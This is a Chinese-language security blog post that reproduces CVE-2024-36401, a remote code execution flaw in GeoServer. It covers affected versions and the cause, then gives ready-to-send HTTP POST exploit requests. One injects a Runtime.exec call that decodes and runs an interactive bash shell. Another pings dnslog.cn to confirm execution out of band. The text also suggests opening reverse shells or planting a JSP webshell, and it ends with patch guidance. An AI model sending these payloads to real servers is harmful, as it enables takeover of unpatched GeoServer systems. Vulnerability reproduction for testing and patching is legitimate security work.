CVE-2024-36401远程代码执行漏洞复现

百科   2024-11-11 14:30   山东  

免责声明

请勿利用文章内的相关技术从事非法测试。由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,请务必遵守网络安全法律法规。本文仅用于测试,请完成测试后24小时删除,请勿用于商业用途。如文中内容涉及侵权行为,请及时联系作者,我们会立刻删除并致歉。

01.简介

CVE-2024-36401是针对GeoServer的漏洞,以下是GeoServer简介。

GeoServer 是一个开源的服务器,用于分享、处理和编辑地理空间数据。它是由Open Source Geospatial   Foundation(OSGeo)支持的一个项目,用于实现开放地理空间联盟(Open Geospatial   Consortium,OGC)的各种规范,包括Web Map Service (WMS)、Web Feature Service   (WFS)、Web Coverage Service (WCS)等。

以下是 GeoServer 的一些主要特点和功能:

  1. 1. 数据源支持:GeoServer 能够连接到多种数据源,包括空间数据库(如PostGIS)、文件格式(如Shapefiles、GeoTIFFs)、以及远程Web服务。

  2. 2. OGC 标准实现:GeoServer 完全支持以下OGC标准:

  • • Web Map Service (WMS):提供地图图像。

  • • Web Feature Service (WFS):提供地理要素数据。

  • 3. 扩展性:GeoServer 设计灵活,支持插件和扩展,使得它可以轻松地添加新功能或数据格式。

  • 4. 社区支持:作为一个开源项目,GeoServer 拥有一个活跃的社区,提供文档、教程、用户论坛和开发者资源。

  • 5. 用户界面:GeoServer 提供了一个基于Web的管理界面,用户可以通过这个界面配置数据源、样式、服务和权限。

  • 6. 样式和渲染:GeoServer 允许用户定义复杂的样式规则来渲染地图,支持SLD(Styled Layer Descriptor)标准。

  • 7. 安全性:GeoServer 支持多种安全机制,包括用户认证、角色基于的访问控制、服务级安全等。

  • 8. 性能:GeoServer 被设计为高性能的服务器,能够处理大量的并发请求。

  • 9. 集成:GeoServer 可以与其他开源GIS软件(如OpenLayers、Leaflet用于前端地图展示,以及PostGIS用于后端数据存储)轻松集成。

  • GeoServer 广泛应用于政府、研究机构、企业和教育领域,用于发布和共享地理空间数据。由于它的开放性和灵活性,GeoServer   成为了地理空间数据发布和服务的首选平台之一。然而,和其他软件一样,GeoServer   也可能存在安全漏洞,因此需要定期更新和打补丁来保证服务器的安全性。

    02.影响版本

    GeoServer < 2.23.6

    2.24.0 <= GeoServer < 2.24.4

    2.25.0 <= GeoServer < 2.25.2

    漏洞成因

    这个漏洞的根本原因在于GeoTools库中的一个问题,特别是与XPath表达式的处理有关。由于对XPath表达式的处理不当,攻击者可以执行远程代码。这种类型的攻击允许攻击者在受害者的计算机或网络上运行恶意代码。

    应用界面

    在进行漏洞复现时需要注意:typeNames必须存在,可以在Web页面/geoserver/web/wicket/bookmarkable/org.geoserver.web.demo.MapPreviewPage?3&filter=false中找到当前服务器中的所有Types

    03.漏洞复现

    EXP:

    POST /geoserver/wfs HTTP/1.1
    Host: xxxx:8080
    Accept-Encoding: gzip, deflate, br
    Accept:*/*
    Accept-Language: en-US;q=0.9,en;q=0.8
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
    Connection: close
    Cache-Control: max-age=0
    Content-Type: application/xml
    Content-Length: 379

    <wfs:GetPropertyValue service='WFS' version='2.0.0'
     xmlns:topp='http://www.openplans.org/topp'
     xmlns:fes='http://www.opengis.net/fes/2.0'
     xmlns:wfs='http://www.opengis.net/wfs/2.0'>
      <wfs:Query typeNames='sf:archsites'/>
      <wfs:valueReference>
      exec(java.lang.Runtime.getRuntime(),'bash -c {echo,base64(shell)}|{base64,-d}|{bash,-i}')</wfs:valueReference>
    </wfs:GetPropertyValue>

    测试时候可以打一下DNSlog

    POST /geoserver/wfs HTTP/1.1
    Host: xxxx:8080
    User-Agent:Mozilla/5.0(X11;Linux x86_64)AppleWebKit/537.36(KHTML, like Gecko)Chrome/87.0.4280.88Safari/537.36
    Accept-Encoding: gzip, deflate, br
    Accept:*/*
    Connection: close
    Content-Length: 320

    <wfs:GetPropertyValue service='WFS' version='2.0.0'
    xmlns:topp='http://www.openplans.org/topp'
    xmlns:fes='http://www.opengis.net/fes/2.0'
    xmlns:wfs='http://www.opengis.net/wfs/2.0'
    valueReference='exec(java.lang.Runtime.getRuntime(),"ping dnslog.cn")'>
    <wfs:Query typeNames='topp:states'/>
    </wfs:GetPropertyValue>

    也可以用来反弹shell,或者直接写个jsp一句话木马:

    04.修复方式

    1. 1. 删除 WEB-INF/lib/gt-complex-x.y.jar,依赖 gt-complex-x.y.jar 的功能会受影响

    2. 2. 更新到官方最新版本



    Z0安全
    个人学习知识记录,包括红队、二进制安全、CTF、取证等方向。菜鸟一枚,多多包涵~